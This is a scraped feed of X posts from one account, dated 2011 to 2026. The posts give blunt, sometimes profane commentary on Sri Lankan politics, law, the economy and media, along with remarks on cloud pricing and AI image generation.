"Hey @Azure - can you change your pricing table to $/1M tokens LIKE EVERY OTHER PROVIDER OUT THERE. Your $/1000 tokens pricing for inference is just clearly designed to make people doing mental math mental. Thank you for coming to my TEDTalk"
X Link 2026-02-12T03:29Z 15.8K followers, [---] engagements
"BASL is the GMOA but for lawyers most of whom have no love/respect for "the Law". Retail cloaks. I'll never forget how a friend appeared for "the other side" c2018 or so and majority of Colombo Civil Society legal fraternity shat themselves shunning the person. Cab-rank what The Easter Sunday trial-at-bar continues to sit daily even though defence lawyers representing the accused withdrew earlier this week. All but two of the [--] accused are now without legal representation. https://t.co/3BlRXmq47S The Easter Sunday trial-at-bar continues to sit daily even though defence lawyers representing"
X Link 2026-02-14T07:23Z 15.8K followers, [----] engagements
"Laxman Fonseka has taken back the credit card. As a Member of Parliament I am entitled to allocate LKR [--] million of tax payers funds for development projects for the year [----]. As such I will be allocating the total amount for the provision of smart boards and computers for the state school system in order to enhance As a Member of Parliament I am entitled to allocate LKR [--] million of tax payers funds for development projects for the year [----]. As such I will be allocating the total amount for the provision of smart boards and computers for the state school system in order to enhance"
X Link 2026-02-14T07:24Z 15.8K followers, [---] engagements
"@IamIsPra The kind of developer who will hardcode API keys"
X Link 2026-02-15T06:01Z 15.8K followers, [--] engagements
"Sri Lanka's media industry is one big - something. I don't know what but something. We have @NewsWireLK and we have PulseLine and we have Front Page"
X Link 2026-02-15T06:24Z 15.8K followers, [---] engagements
"Sri Lankan rupee hits record low of [------] vs dollar https://www.reuters.com/article/sri-lanka-rupee/sri-lankan-rupee-hits-record-low-of-182-35-vs-dollar-idUSL3N1YW2N8 https://www.reuters.com/article/sri-lanka-rupee/sri-lankan-rupee-hits-record-low-of-182-35-vs-dollar-idUSL3N1YW2N8"
X Link 2018-12-29T04:53Z 14.7K followers, [--] engagements
"Sri Lanka rupee gains on dollar sales; Fitch downgrades forecast https://reut.rs/2sZpNND https://reut.rs/2sZpNND"
X Link 2019-01-31T14:38Z 14.7K followers, [--] engagements
"@SriCitizen @RWijewardene @PMDNewsGov @MaithripalaS @PresRajapaksa @RW_UNP Article [--] of the constitution which allows for historic laws to continue despite violating the constitution needs to go first. The MMDA (plus other religious/regional/ethnic specific laws) should be abolished as a whole not merely amended or 'reformed'"
X Link 2019-05-27T04:24Z 14.8K followers, [--] engagements
"@SriCitizen @RWijewardene @PMDNewsGov @MaithripalaS @PresRajapaksa @RW_UNP The MMDA especially takes away agency of women in the marriage/divorce process. Fundamentally though it's a question about equality before law. Two citizens should not have two different laws in one country"
X Link 2019-05-27T04:24Z 14.8K followers, [--] engagements
"Japan urges Sri Lanka to probe war crimes: http://t.co/Fjl71Pdy http://www.google.com/hostednews/afp/article/ALeqM5g8DJh4rbdEK1VJTGwKTX9L8ihrkAdocId=CNG.2831b7d994b8b5098de31416da46b2ef.821 http://www.google.com/hostednews/afp/article/ALeqM5g8DJh4rbdEK1VJTGwKTX9L8ihrkAdocId=CNG.2831b7d994b8b5098de31416da46b2ef.821"
X Link 2011-12-01T02:13Z 14.7K followers, [--] engagements
"Yohani is truly a Sri Lankan success story - take someone else's song and Edison it then keep milking it till kingdom come"
X Link 2022-10-28T17:46Z 14.7K followers, [---] engagements
"I asked Stable Diffusion [---] to imagine what a modern front-engined rear wheel drive sports coupe with sleek long bonnet and simple rear spoiler would look like. I can get on board with this version of future"
X Link 2022-11-24T14:27Z 14.7K followers, [--] engagements
"If you think police should have denied the man to burn the Quraan then you're very much in the same camp as those who arrested Nathasha Whatshername for 'insulting Buddhism.' Offence is deeply personal - the State should have no role in enforcing anti-offense laws"
X Link 2023-06-30T02:48Z 14.1K followers, 10.9K engagements
"@UmeshMoramudali Perera and Sons with a dash of brandy"
X Link 2023-07-10T06:24Z 14.1K followers, [---] engagements
"Few things bring more joy that to see leftist worker unions being hijacked by intellectual elite saviours who've never done a day's worth of manual labour because obv those uneducated labourers can't save themselves without a UK Masters degree. You go you little messiah you"
X Link 2023-07-10T01:03Z 14.1K followers, 13.9K engagements
"This is why we need haircuts. 'DDO/DDR' was a politically safe can-kicking exercise which didn't optimise nor restructure debt. We aren't also talking about the MASSIVE state sector and downsizing and overall fiscal discipline. We'll be in square one in fuve years or less"
X Link 2023-07-10T05:33Z 14.1K followers, [----] engagements
"Someone call Diana Gamage"
X Link 2023-07-10T15:18Z [--] followers, [----] engagements
"It's heartbreaking to see people think I'm not dead serious about my disdain towards the leftist economic movement and assuming I'm merely being facetious. I'm not. After the several-million deaths these people have under their belts I really do want these people to implode"
X Link 2023-07-10T05:45Z 14.1K followers, [----] engagements
"@RegularReh Ah fuck"
X Link 2023-07-10T15:06Z 14.1K followers, [---] engagements
"Jesus Christ this fuckwit (the guy in the video not Kusum) the son of Howard Nicholas a key architect of Sri Lanka's economic collapse (along with the band of merry morons of eConsult Asia) LOL. Explains the bullshit spew"
X Link 2023-07-12T04:30Z 14.1K followers, [----] engagements
"@Goshitha5 @AriffShihab @UN_HRC I don't know. A future President accepting responsibility and admitting that the State was wrong sounds like a bare minimum to start with. But at the same time it also doesn't mean anything if the acceptance of responsibility doesn't come from those responsible (i.e. prev Govt)"
X Link 2023-07-12T04:48Z 14.1K followers, [--] engagements
"@Goshitha5 @AriffShihab @UN_HRC But like I said I don't know. I don't think there are (or that there should be) punitive legal avenues available. I also don't know what restitution would really look like. For me it would be a non-recurrence thing but how to do that for a one-off event (pandemic) is complex"
X Link 2023-07-12T04:48Z 13.9K followers, [---] engagements
"@Zacchariahshums @AriffShihab @godfreypy1 Letting the state decie what can be said and not said even if the speech is grotesque only leads to misuse and abuse as we have seen over and over. Deeply offensive and even racist speech is the price we pay for being able to criticise evil. I wouldn't want it any other way"
X Link 2023-07-12T15:57Z 14K followers, [---] engagements
"@Zacchariahshums @AriffShihab @godfreypy1 I think burning scripture someone holds holy is a grotesque act. It's insensitive wicked and wreaks of an inferiority complex. But I also thinks things that racist bigots find wicked or insensitive - like equality or sexuality - are things that I want to speak up on"
X Link 2023-07-12T15:57Z 14.1K followers, [--] engagements
"'We take each of these deaths very seriously and we are working hard to minimise future incidents' is all he needs to say. But repeat the zero-civilian-casualties bullshit for ten years and you lose touch with reality. What a fuckwit. Give your daddy some PR lessons @ChamithriR"
X Link 2023-07-19T06:57Z 14.1K followers, 11.9K engagements
"Macron is having a layover in Colombo on the way back from his Pacific visit. This desperate need for approval the PMD shows is well desperate. Our stupid media just puppets and repeats whatever. It's so insignificant a stop that it doesn't even show up on Macron's schedule"
X Link 2023-07-27T09:32Z 14.1K followers, [--] engagements
"@DonKula6 @Manjarie Walk into a hospital and see the shortage"
X Link 2023-08-05T21:46Z 14.1K followers, [--] engagements
"@fruity_thief @Manjarie Who'd you rather have operating on you 1) A student who got AAB at ALs from Colombo who didn't get into med school in Sri Lanka because of the Z score who studied medicine in China. 2) A student from Monaragala who got ABB and got into med school at Ragama"
X Link 2023-08-06T21:48Z 14.1K followers, [--] engagements
"How does this work Let me explain. Remember the operative term being well-run. He would need a reason to run. He has one already (narcissism). His second can be legacy building (away from 'corrupt'). For either of these he needs a campaign on his own (not a coalition)"
X Link 2023-08-23T12:18Z 14.1K followers, [---] engagements
"Say he fails to deliver (likely). It comes a few years too late but we'll get over our collective hard on for business-types and narcissistic strongmen. We also probably end up further trimming the Executive Presidency. Good"
X Link 2023-08-23T12:18Z 14.7K followers, [--] engagements
"@GloriaXFiles Your move @DulithHerath + @sanjiva. We're owed it"
X Link 2023-08-26T07:44Z 14.6K followers, [---] engagements
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